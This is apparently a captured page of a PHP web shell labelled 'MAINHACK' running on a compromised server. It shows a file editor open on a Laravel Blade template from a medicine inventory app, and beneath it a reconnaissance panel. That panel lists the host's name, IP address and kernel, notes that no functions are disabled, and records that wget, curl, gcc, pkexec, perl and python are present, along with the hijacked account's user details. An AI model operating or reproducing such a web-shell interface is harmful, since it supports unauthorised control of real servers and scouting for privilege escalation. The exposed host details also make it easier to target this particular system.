[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: _emrg-quick-view-data.blade.php
<div class="modal-header p-2"> <h4 class="modal-title product-title"> </h4> <button class="close call-when-done" type="button" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body"> <div class="batch-form"> <div class=""> <!-- Product details--> <div class="details pvl43"> <a href="#" class="h1 mb-2 product-title pvl44">{{ Str::limit($product->name, 26) }}</a> <div class="mb-3 text-dark"> <span class="h3 font-weight-normal text-accent mr-1"> Strength: {{ Str::limit($product->strength, 26) }} </span> </div> </div> </div> <div class="row pt-2"> <div class="col-12"> <?php $cart = false; if (session()->has('cart')) { foreach (session()->get('cart') as $key => $cartItem) { if (is_array($cartItem) && $cartItem['id'] == $product['id']) { $cart = $cartItem; } } } $batch = \App\Models\Batch::where('medicine_id', $product->id)->first(); ?> <form id="add-to-batch-form" class="mb-2"> @csrf <input type="hidden" name="product_id" value="{{ $product->id }}"> <input type="hidden" name="emergency_stock_id" value="{{ $product->id }}"> @if(Auth::user()->shop_id != 79) <div class="select-option"> <div class="h3 p-0"> {{trans('Batch Name')}} </div> <div class="d-flex justify-content-left flex-wrap pvl49"> <input class="form-control" name="batch_no" id="select" placeholder="Batch Name"> </div> </div> @else <input type="hidden" name="batch_no" value="{{random_int(100000, 999999)}}"> @endif <input type="hidden" name="expiry_date" value="2030-01-01"> <div class="select-option"> <div class="h3 p-0"> {{trans('MRP Per Unit')}} </div> <div class="d-flex justify-content-left flex-wrap pvl49"> <input class="form-control" type="number" step="0.01" name="mrp" id="select" placeholder="MRP"> </div> </div> <input type="hidden" name="leaf_id" value="29"> <div class="select-option"> <div class="h3 p-0"> {{trans('Buy Price Per Unit')}} </div> <div class="d-flex justify-content-left flex-wrap pvl49"> <input class="form-control" type="number" step="0.01" name="bprice" id="select" placeholder="Buy Price"> </div> </div> <!-- Quantity + Add to cart --> <div class="d-flex justify-content-end mt-5"> <div class="product-description-label mt-2 text-dark h3">{{__('Quantity')}}:</div> <div class="product-quantity d-flex align-items-center"> <div class="input-group input-group--style-2 pr-3 pvl48"> <span class="input-group-btn"> <button class="btn btn-number text-dark pvl47" type="button" data-type="minus" data-field="quantity" disabled="disabled"> <i class="tio-remove font-weight-bold"></i> </button> </span> <input type="text" name="quantity" class="form-control input-number text-center cart-qty-field" placeholder="1" value="1" min="1" max="999999999999999"> <span class="input-group-btn"> <button class="btn btn-number text-dark pvl46" type="button" data-type="plus" data-field="quantity"> <i class="tio-add font-weight-bold"></i> </button> </span> </div> </div> </div> <div class="row no-gutters mt-2 text-dark" id="chosen_price_div"> <div class="col-10"> <div class="product-price"> <strong id="chosen_price"></strong> </div> </div> </div> <div class="d-flex justify-content-center mt-2"> <button class="btn btn-primary pvl45" onclick="addToBatch()" type="button"> Next <i class="tio-arrow-right-circle"></i> </button> </div> </form> </div> </div> </div> </div> <script type="text/javascript"> cartQuantityInitialize(); </script> <script> $(document).on('ready', function () { console.log($product->id) }); </script> <script> function color_change(val) { console.log(val.id); $('.color-border').removeClass("border-add"); $('#label-'+val.id).addClass("border-add"); } </script>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002